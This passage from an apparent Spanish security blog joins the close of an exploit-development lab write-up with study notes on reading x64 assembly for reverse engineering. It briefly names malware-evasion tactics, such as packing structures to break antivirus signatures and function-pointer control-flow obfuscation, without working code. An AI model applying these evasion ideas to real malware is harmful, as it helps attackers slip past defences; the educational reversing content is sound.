El laboratorio se retomará. Mientras tanto, este documento queda como testimonio de que el exploit development no se aprende en tutoriales de fin de semana: se construye con horas de lectura de arquitectura de kernel, con intentos fallidos de replicar exploits ajenos, con frustración al descubrir que el sandbox te bloquea, y con la satisfacción de que —incluso sin haber llegado a la meta— el camino recorrido ya te hace un profesional más competente que cuando empezaste.
Reflexión Final
El exploit development moderno exige más que nunca: mitigaciones como kCFG, shadow stacks, MTE y compiladores memory-safe están cerrando las vías tradicionales. Pero vastas cantidades de software permanecen sin hardening: enterprise apps, IoT, sistemas embebidos, drivers legacy, servicios que nadie va a reescribir en Rust. La disciplina no está muriendo: está evolucionando hacia exploits compuestos (fuga + ROP + bypass de sandbox), data-oriented exploitation (corrupción de estado sin secuestro de flujo), y combinaciones de vulnerabilidades de alto y bajo nivel. El laboratorio se congela aquí, pero la capacidad de retomarlo —y de aplicar lo aprendido— queda intacta.
/¿Te interesa el exploit development aplicado a entornos reales?
Este laboratorio comparte fundamentos con otras áreas del portafolio. La misma metodología de reversing y análisis de memoria se aplica en auditorías de seguridad, análisis de malware y explotación de infraestructura crítica.
Triage de Malware PE → Reversing PLC Siemens → Pentesting API Financiera → Evasión Mirai en ASM →13. Referencias
- analystty: Automatizando el Triage de Malware PE (tty503.com)
- PLC Siemens S5/S7: Ingeniería Inversa (tty503.com)
- Pentesting a una Web API Financiera: IDOR y Fuga de Datos (tty503.com)
- Evasión Estática de Mirai en ASM (tty503.com)
- pwn.college — Cybersecurity Education Platform
- ROP Emporium — Learn Return-Oriented Programming
- OpenSecurityTraining2 — Vulnerabilities 1001
- x64.syscall.sh — Linux System Call Table
- Felix Cloutier — x86 and AMD64 Instruction Reference
- DEVCORE — Streaming Vulnerabilities from Windows Kernel (Angelboy, 2024)
- ired.team — Finding all RWX Protected Memory Regions
- Corelan.be — Exploit Writing Tutorials
- how2heap — Shellphish Heap Exploitation Techniques
- MITRE ATT&CK — Enterprise Matrix
- Packet Storm — CVE-2020-6507 Exploit (Rajvardhan Agarwal)
- Chromium Bug Tracker — Issues 40057710 (CVE-2021-38003), 41485743 (CVE-2023-7024), 40063989 (CVE-2023-2033)
- CTF Handbook (OSIRIS Lab) — Buffer Overflow, Format String, ROP, Heap Exploitation
14. Resumen Técnico
| Tema | Idea Clave |
|---|---|
| Compilador de estudio | GCC para C/C++: salida menos abstracta que MSVC, que envuelve todo en el CRT |
| Variables locales | Viven en la pila, accesibles vía rbp±offset |
| Variables globales | Viven en secciones de datos (.data/.bss/.rdata) con dirección simbólica |
| Clases | El constructor recibe this como primer argumento implícito (rcx en Windows x64) |
| Heap | malloc/realloc/free y operator new/delete; gestión manual frente al stack automático |
| Estructuras de datos | Pilas LIFO, colas FIFO y listas enlazadas reconocibles por patrones de indexación |
| Calling conventions | cdecl, stdcall, SystemV y Windows x64 determinan registro/pila de argumentos y quién limpia |
| Heurística estrella | Prólogo/epílogo (push rbp; mov rbp, rsp) para detectar límites de función sin símbolos |
15. El Punto de Partida: GCC, FLAT y NASM
Mi objetivo con estas notas es simple: leer ensamblador con soltura suficiente para interpretar los binarios que caen en mis sesiones de ingeniería inversa. Para generar el material de estudio prefiero GCC con C/C++, porque su salida es bastante menos abstracta que la del compilador de Microsoft: este último envuelve por defecto cada programa en el CRT y eso enturbia la lectura. Ajustando flags puedo graduar las optimizaciones y conseguir un ensamblador limpio y pedagógico.
Como contrapunto práctico escribo código directamente en ensamblador con NASM y FLAT. Estas notas acompañan el trabajo con herramientas propias como analystty y los casos documentados en la Threat Hunter Recollection.
16. Variables Globales, Locales y el Stack Frame
Lo primero es ubicar dónde duerme cada variable. Las locales residen en la pila y se alcanzan a través del puntero base (rbp); las globales viven en la sección de datos y su dirección llega siempre como un desplazamiento relativo a un símbolo (.data). Observemos el esqueleto mínimo de cualquier función:
; Prólogo y epílogo clásicos del stack frame en x64
push rbp ; preservar el puntero base de quien llamó
mov rbp, rsp ; anclar el nuevo marco de pila
sub rsp, 0x30 ; reservar 48 bytes para las locales
; ... cuerpo ...
add rsp, 0x30 ; devolver el espacio reservado
pop rbp ; restaurar el puntero base del caller
retn ; salir
El misterio de __main
Ese __main que aparece al inicio de todo programa C++ tiene una función concreta: garantizar que una variable global situada en .bss pase a valer 1 una única vez durante el arranque. Mi hipótesis es que funciona como sincronización implícita en escenarios multihilo: el primer hilo que llegue fija el 1 y cualquiera que venga después comprueba que ya está inicializado, evitando carreras.
17. Bucles, Condicionales y Arreglos en ASM
Desde el ámbito local (stack) estudiaré cómo el compilador vierte las estructuras de control al ensamblador: bucles while, do-while y for —con incrementos y decrementos prefijos y postfijos— además de las bifurcaciones if-else. Reconocer estos moldes a simple vista es lo que permite seguir el hilo de la ejecución cuando analizo malware.
El do-while y las variables que nacen al asignarlas
; do { a++; } while(a == 10); — su volcado directo a ASM
loop_start:
movzx eax, byte [rbp-0x1]
add eax, 0x1
mov byte [rbp-0x1], al
cmp byte [rbp-0x1], 0xa
jne loop_start
; OJO: una variable sin declarar previamente se materializa en el stack al asignarla
i++ frente a ++i: una batalla que el compilador ya ganó
Si el resultado no participa en la misma expresión, i++ y ++i producen exactamente el mismo código: el optimizador iguala ambos caminos. Es de esas micro-optimizaciones de foro que simplemente no sobreviven la compilación.
18. Funciones y Tipos de Retorno
Cambiar el tipo de retorno cambia el código generado: void, char, bool, unsigned char, short, unsigned short, unsigned int, long long… cada uno deja su firma. Deducir el tipo de retorno observando qué registro viaja de vuelta es de las primeras habilidades que desarrollo en reversing.
Lo que aprendí comparando retornos
void: reserva 0x10 en la pila (sin argumentos). bool: ni un byte reservado; contesta 0 o 1 en eax. short (2 bytes): aparece el mnemónico word y la pila se alinea de 2 en 2. int (4 bytes): entra en juego el mnemónico dword. long long (8 bytes): abandona los registros de 32 bits y usa los de 64 completos; la asignación se vuelve indirecta — primero el literal sube a rax y luego baja a la pila mediante qword.
19. Negativos, Rangos y Dónde Vive Cada Variable
Los valores negativos también dejan huella reconocible: -25 se materializa como 0xe7 (231 en decimal, fuera del rango habitual si lo leyeras sin signo). Conviene tener a mano los rangos con y sin signo de cada tipo para interpretar bien lo que se ve.
| Tipo de variable | Sección PE | Comportamiento |
|---|---|---|
| auto global | .data | Inicializada en tiempo de compilación |
| static global | .data | Inicializada, visibilidad limitada al archivo |
| const global | .rdata | Solo lectura |
| static const global | .rdata | Solo lectura, visibilidad limitada |
| auto local | Stack | Inicializada en ejecución |
| static local | .data | Persiste entre llamadas |
| const local | Stack | El compilador sustituye su valor literal |
| static const local | .rdata | Persiste, solo lectura |
¿De verdad son intocables las constantes?
En realidad no se almacenan: el compilador las sustituye por sus literales. Pero armado con punteros es posible modificar el valor de una constante en algunos escenarios. Pendiente de experimentar para confirmarlo. Y esto conecta directo con la integridad de secciones como .rdata durante el análisis de muestras.
20. Structs, Enums y Secciones del Formato PE
Structs: apilados desde el último elemento
Los structs se acomodan empezando por su último miembro. Las variables sin inicializar acaban en .bss con valor 0x0, mientras que las estructuras globales inicializadas aterrizan en .data. Dominar este layout es imprescindible cuando quiero reconstruir estructuras de datos en Ghidra o IDA.
Enums: fantasmas que solo existen en el fuente
Los enum desaparecen en runtime: no son más que sustituciones de literales. Su único superpoder es la legibilidad del código fuente; en el binario compilado solo quedan números.
Mapa de secciones del PE
| Sección | Contenido | Relevancia para RE |
|---|---|---|
| .text | Código ejecutable | Donde vivo el 90% del tiempo en Ghidra |
| .data | Datos globales y estáticos inicializados | Strings, variables globales con valor inicial |
| .rdata | Datos inicializados de solo lectura | Constantes, tablas de importación |
| .bss | Datos globales y estáticos no inicializados | Variables declaradas sin valor inicial |
| .idata | Datos de importación (funciones de DLLs) | La llave para saber qué APIs consume el binario |
| .edata | Datos exportados | Lo que el binario ofrece a otros módulos |
| .rsrc | Recursos: iconos, menús, binarios | Suelo fértil para payloads incrustados |
| .reloc | Información de reubicación | Imprescindible para ASLR |
21. Punteros en x64: Aritmética de Direcciones
En tierra de 64 bits cada puntero pesa 8 bytes (qword). Los incrementos y decrementos avanzan a saltos de 8 bytes (o 4 en sistemas de 32). Dos operadores hacen toda la magia:
- Dirección (&): devuelve dónde vive una variable; el compilador lo traduce a lea.
- Indirección (*): además de declarar tipos puntero, accede al valor alojado en esa dirección; se materializa como mov con corchetes.
; int* ptr_arr_end = &arr[3]; — tomar la dirección del cuarto elemento
lea rax, [rbp-0x1c] ; base del arreglo en el stack
add rax, 0x3 ; desplazamiento hasta el índice 3 (0-indexed)
mov [rbp-0x18], rax ; guardar la dirección calculada en ptr_arr_end
; result = *(--ptr_arr_end) + *(++ptr); — pre-decremento y pre-incremento
sub qword [rbp-0x18], 0x1 ; retroceder la dirección (un byte)
mov rax, qword [rbp-0x18] ; cargar la dirección ya decrementada
movzx eax, byte [rax] ; leer el valor apuntado
22. Inline, Templates y las Dos Puertas hacia la Pila
always_inline: cuando una sugerencia no basta
La palabra clave inline apenas insinúa al compilador que incruste el código. Para obligarle existe el atributo __attribute__((always_inline)) de GCC: con él desaparecen los símbolos independientes y con ellos las instrucciones call y ret asociadas.
Templates: expansión con cinturón de tipos
Las funciones template también se "expanden" donde se usan, pero conservando la comprobación de tipos. Sin always_inline, el compilador fabricará dos funciones distintas para tipos diferentes; con el atributo, la sustitución es directa y no genera símbolo alguno.
Dos puertas hacia la pila
rbp + desplazamiento: camino hacia los argumentos o los datos que quedaron por encima del marco actual (lo que dejó el caller). rbp - desplazamiento: camino hacia las variables locales y todo lo reservado con sub rsp, N.
23. Clases en Ensamblador: this, Constructores y Destructores
Instanciar es pasar rcx
Al crear un objeto, el runtime calcula la dirección del stack donde vivirá la instancia y la entrega como argumento invisible al constructor: por rcx bajo la convención Windows x64, por rdi bajo SystemV. Ese argumento fantasma no es otro que el puntero this.
; class_0 cl; — instanciación seguida de la llamada al constructor
lea rax, [rbp-0x10] ; dirección del stack elegida para la instancia
mov rcx, rax ; this como primer argumento (Windows x64)
call class_0::class_0 ; constructor en marcha
Atributos: pura aritmética desde la base
Todo acceso a atributos se resuelve sumando desplazamientos a la dirección base del objeto: [rax] para var_1, [rax+0x4] para var_2, [rax+0x8] para var_3, [rax+0xc] para var_4. La conclusión es contundente: a nivel de ASM no existe distinción entre miembros públicos y privados — todos son offsets.
Destructores y operator delete
El destructor se dispara de forma implícita al cerrarse la función. operator delete recibe por rcx la dirección de memoria junto al tamaño del objeto alineado; la función importada operator delete(void*, uint64_t) aparece en la sección .idata apuntando a libstdc++-6.
24. Alineamiento, Padding y #pragma pack
| Tipo | Alineación típica en x64 |
|---|---|
| char | 1 byte |
| short | 2 bytes |
| int | 4 bytes |
| float | 4 bytes |
| long long | 8 bytes |
| pointer (64-bit) | 8 bytes |
Dentro de structs y clases el compilador persigue la máxima alineación entre sus miembros y organiza todos con ese criterio. El padding son los bytes de relleno que garantizan que cada miembro arranque en dirección múltiplo de su alineación natural. Con el atributo aligned(N) impongo una alineación concreta; con #pragma pack recorto el tamaño de las estructuras fijando un nuevo techo de alineamiento.
Por qué me importa en malware
Comprimir estructuras con #pragma pack es una táctica de autores de malware para entorpecer el análisis estático y romper firmas por secuencia de bytes de los antivirus. La documenté en primera persona durante el desarrollo del C2 Builder: la ofuscación de estructuras complica seriamente la detección basada en firmas.
25. Clases vs Structs: Lo que el ASM Revela
La diferencia salta a la vista en el binario. Las clases generan referencias externas fuera del stack: constructor y métodos reciben tácitamente la dirección de la instancia (el puntero this). Las estructuras, en cambio, copian su contenido completo al stack en cada instanciación — un riesgo de memoria cuando multiplicas instancias. Y los "métodos" de un struct resultan ser simples callbacks: direcciones de función asignadas a miembros puntero. Esta distinción me ahorra horas al reconstruir tipos en Ghidra.
26. Memoria Dinámica: malloc, realloc, free, new y delete
Stack contra Heap: dos mundos
| Característica | Stack | Heap |
|---|---|---|
| Estructura | LIFO, lineal | Jerárquica, fragmentada |
| Velocidad | Alta (ajuste de puntero) | Más lento (búsqueda de bloques) |
| Fragmentación | No | Sí |
| Variables | Solo locales | Acceso global (punteros) |
| Límite | Depende del SO (típicamente 1-8 MB) | Sin límite específico (memoria virtual) |
| Redimensionable | No (fijo en compilación) | Sí (realloc) |
| Asignación | Contigua, automática | Aleatoria, manual |
| Desasignación | Automática (al salir del scope) | Manual (free/delete) |
Malloc, Realloc y Free vistos en ASM
; ptr = (int*)malloc(sizeof(int)); — pedir 4 bytes al heap
mov ecx, 0x4 ; sizeof(int) = 4 bytes
call malloc ; la dirección del bloque vuelve en rax
mov [rbp-0x8], rax ; guardo el puntero en una local
; ptr = (int*)realloc(ptr, sizeof(*ptr) + (8 * sizeof(int))); — redimensionar
mov rax, [rbp-0x8] ; bloque original
mov edx, 0x24 ; 4 + (4 * 8) = 36 bytes de nuevo tamaño
mov rcx, rax ; primer argumento: el puntero vigente
call realloc ; puede devolver otra dirección
mov [rbp-0x8], rax ; actualizo el puntero por si se movió
; free(ptr); — devolver el bloque
mov rax, [rbp-0x8] ; cargo el puntero
mov rcx, rax ; lo paso como argumento
call free ; liberación
New y Delete: lo que añaden sobre malloc/free
new deja que el compilador calcule el tamaño y encadena la llamada al constructor adecuado para instanciar objetos. delete y delete[] me libran de desasignar elemento a elemento. Ante el error los caminos se separan: malloc devuelve NULL, mientras que new lanza bad_alloc. En ensamblador, new equivale a invocar operator new y a continuación el constructor.
27. Pilas LIFO: Tres Implementaciones Progresivas
Construí una pila (LIFO) en tres grados crecientes de complejidad:
- Versión básica: arreglo de tamaño fijo gobernado por una variable top. Las funciones push y pop verifican overflow/underflow, y al desapilar se sobreescribe la celda con 0.
- Versión con struct: estructura con top y stack[]. El acceso adopta la forma [rdx+rax*4+0x4], donde rdx señala la estructura y rax es el índice.
- Versión con clase y memoria dinámica: el constructor pide el tamaño inicial vía malloc; alcanzado el máximo, realloc amplía la capacidad; vaciada la pila, free devuelve la memoria, y el destructor limpia el bloque automáticamente.
; push: stack[*top] = e; — variante con struct
mov rax, [rbp+0x10] ; cargar el puntero al stack_struct
mov eax, [rax] ; leer el top actual
lea edx, [rax+0x1] ; top incrementado (nuevo índice)
mov rax, [rbp+0x10] ; recargar el puntero al stack_struct
mov [rax], edx ; escribir el nuevo top
; destino = base + top * sizeof(elemento)
mov ecx, [rbp+0x18] ; cargar el elemento e a insertar
mov [rdx+rax*4+0x4], ecx ; depositarlo en stack[top] (4 bytes por elemento)
28. Colas FIFO
Una cola obedece al orden FIFO (First In, First Out): lo que entra primero sale primero. Mi implementación combina un arreglo con dos punteros, begin_cola (frente) y next_cola (siguiente hueco libre), y expone las operaciones enqueue (insertar al final), dequeue (extraer del frente), isEmpty, isFull y peek.
Diseñé dos variantes:
- Cola estática: capacidad fija; cuando se llena, los elementos extra se descartan.
- Cola dinámica: al agotarse, realloc suma un espacio; al quedar totalmente vacía, free devuelve la memoria; y si vuelve a encolarse algo, nace un bloque nuevo vía malloc.
TEST: el AND que no guarda nada
TEST calcula la conjunción lógica (AND) de dos operandos y descarta el resultado, conservando solo las banderas. Me sirve para comprobar bits sueltos, comparar valores vigilando ZF y preparar saltos condicionales. Cuando solo quiero saber si algo vale cero, resulta más eficiente que CMP.
29. Listas Enlazadas y Nodos como Flujo de Control
Las listas enlazadas almacenan y manipulan información sin tamaño conocido de antemano: cada nodo porta un valor y la referencia al siguiente, de modo que la estructura crece o mengua según haga falta.
| Característica | Listas Enlazadas | Pilas (LIFO) | Colas (FIFO) |
|---|---|---|---|
| Estructura | Secuencia de nodos con dato y puntero | LIFO (un extremo) | FIFO (dos extremos) |
| Operaciones | Insertar/Eliminar en cualquier posición | Push/Pop (cima) | Enqueue/Dequeue (frente/final) |
| Acceso | Secuencial desde el principio | Solo al último (top) | Solo al primero (front) |
| Usos típicos | Estructuras dinámicas, árboles, grafos | Llamadas a funciones, undo/redo | Tareas, colas del SO, buffers |
// Implementación: inserción por la cabecera (prepend)
NODO_SIMPLE nodo_tail = NODO_SIMPLE(0x42);
NODO_SIMPLE nodo_middle = NODO_SIMPLE(0x51, &nodo_tail);
NODO_SIMPLE nodo_header = NODO_SIMPLE(0x81, &nodo_middle);
// construir la lista y asignar posiciones
LISTA_ENLAZADA_SIMPLE lista_enlazada = LISTA_ENLAZADA_SIMPLE(&nodo_header);
IDEA: nodos que ejecutan — ofuscación de flujo de control
¿Y si cada nodo guardara punteros a funciones y el encadenamiento entre ellos dirigiera la ejecución? Podría almacenar directamente la dirección de una función o incluso la instrucción a ejecutar. Aplicado con intención, esto se convierte en una técnica de ofuscación de flujo y de polimorfismo en runtime — terreno que exploré en el desarrollo del C2 Builder.
30. Convenciones de Llamada: cdecl, stdcall, SystemV y Windows x64
Sin dominar las convenciones de llamada es imposible entender la anatomía de las funciones que reviso en cada sesión: ellas deciden dónde aterrizan los parámetros, quién recoge los platos de la pila y qué registros quedan intactos tras la llamada.
cdecl 32-bit — el estándar de facto de C
- Predeterminada en POSIX (ABI SystemV i386) y en Windows 32-bit.
- Parámetros: todos en pila; el primero ocupa la dirección más baja (es el último en empujarse).
- Retorno escalar: EAX o EDX:EAX para 64 bits; flotantes por st(0) (x87).
- Estructuras: por referencia, con puntero oculto como primer parámetro (y devueltas en EAX).
- Registros preservados: EBX, EDI, ESI, EBP, ESP. EAX, ECX, EDX son de libre uso.
- Limpieza: el caller retira los parámetros tras la llamada.
stdcall 32-bit — la voz de la Win32 API
- El dialecto de las APIs de Windows 32-bit.
- Parámetros: en pila, pero aquí el callee los retira antes de volver mediante ret N.
- Retorno: escalares en EAX.
- Ventaja: binario más compacto que cdecl, porque quien llama nunca necesita limpiar.
cdecl 32-bit: trato según el tipo
- Enteros de 8/16/32 bits: siempre a pila con anchura completa de 32 bits.
- Enteros de 64 bits: dos pushes (palabra alta primero, luego la baja). Retorno por EDX:EAX.
- Flotantes de 32 bits: a pila.
- Doubles de 64 bits: dos pushes (palabra alta primero).
- Long doubles de 80 bits: ocupan 12 bytes (tres pushes de 32 bits).
- Estructuras por valor: copiadas íntegras a pila respetando su layout original.
- Estructura trivial (un miembro ≤ 32 bits): regresa en EAX (GCC/Linux) o en EDX:EAX si lleva dos miembros (MSVC/Win32).
SystemV 64-bit — Linux y macOS
- La predeterminada en POSIX de 64 bits (Linux, macOS, BSD).
- Parámetros: los seis primeros viajan en RDI, RSI, RDX, RCX, R8, R9; el resto, a pila.
- Retorno escalar: RAX. Estructuras grandes: puntero oculto en RDI al comienzo de la lista de argumentos.
- Registros preservados: RBP, RBX, R12-R15; todo lo demás es pisable.
- Shadow space: no existe requisito (a diferencia de Windows x64).
Windows 64-bit — Microsoft x64 calling convention
- Parámetros: los cuatro primeros en RCX, RDX, R8, R9; flotantes por XMM0-XMM3; el resto a pila.
- El caller reserva siempre hueco para 4 QWORD (32 bytes de shadow space), use o no la función tantos argumentos.
- Parámetros mayores de 64 bits viajan por dirección.
- Retorno: escalares en RAX; estructuras> 64 bits devuelven su puntero en RAX.
- Registros preservados: RBP, RBX, RDI, RSI, R12-R15, XMM6-XMM15.
RECORDATORIO: aplicar esto en reversing
Estas convenciones sostienen los patrones de búsqueda que implemento en scripts como los de analystty para detectar TTPs automáticamente. Conviene no perder de vista que cada compilador, según sistema objetivo y arquitectura, produce estructuras radicalmente distintas: un binario Windows x64 y uno Linux x64 con fuente idéntico se ven irreconocibles entre sí a nivel de llamadas.
31. Heurísticas para Etiquetar Funciones sin Símbolos
Cuando el binario llega desnudo de información de depuración, estas son las técnicas con las que consigo etiquetas durante el desensamblado:
- Tabla de direcciones virtuales: no siempre está disponible, sobre todo tras strippear el binario.
- Análisis de flujo: delimitar bloques simples y saltos revela dónde arranca cada función; los saltos hacia atrás (jmp a direcciones menores) suelen delatar bucles.
- Patrones de llamada: rastrear instrucciones de llamada y valores de retorno conforme a cada convención, observando la pila para inferir parámetros.
- Heurística de prólogo/epílogo: reconocer ajustes de pila (push rbp; mov rbp, rsp; sub rsp, N), guardados de registros y retornos (add rsp, N; pop rbp; ret). Es la técnica más fiable de todas y la que analystty implementa en su módulo de detección de funciones.
32. Lo que Viene Después
Cerradas ya las listas enlazadas y el resto de estructuras de datos, la serie continúa con:
- Herencia, templates y polimorfismo — cómo aterrizan las v-tables en ASM
- Sobrecarga de operadores y funciones — name mangling y resolución de símbolos
- Bibliotecas y el enlazador (linker) — cómo se atan las dependencias en tiempo de compilación
/¿Quieres ver estos fundamentos aplicados a casos reales?
Las heurísticas de esta guía alimentan mi herramienta de triaje automatizado, y la aritmética pura en ASM es la misma que uso para evadir motores estáticos. Sigue el hilo completo del reversing aplicado.
← Volver al índice analystty: Triage Automatizado → Evasión Estática en ASM → Threat Hunter Recollection →33. Referencias
- analystty — Automatización de Triage de Malware PE con detección de funciones por heurística de prólogo/epílogo
- De la Shellcode Artesanal al C2 Builder — Técnicas de ofuscación y alineamiento
- GCC — Function Attributes
- StackOverflow — always_inline attribute
- GCC — Structure-Packing Pragmas
- cppreference — operator delete
- C Language — Puntos de secuencia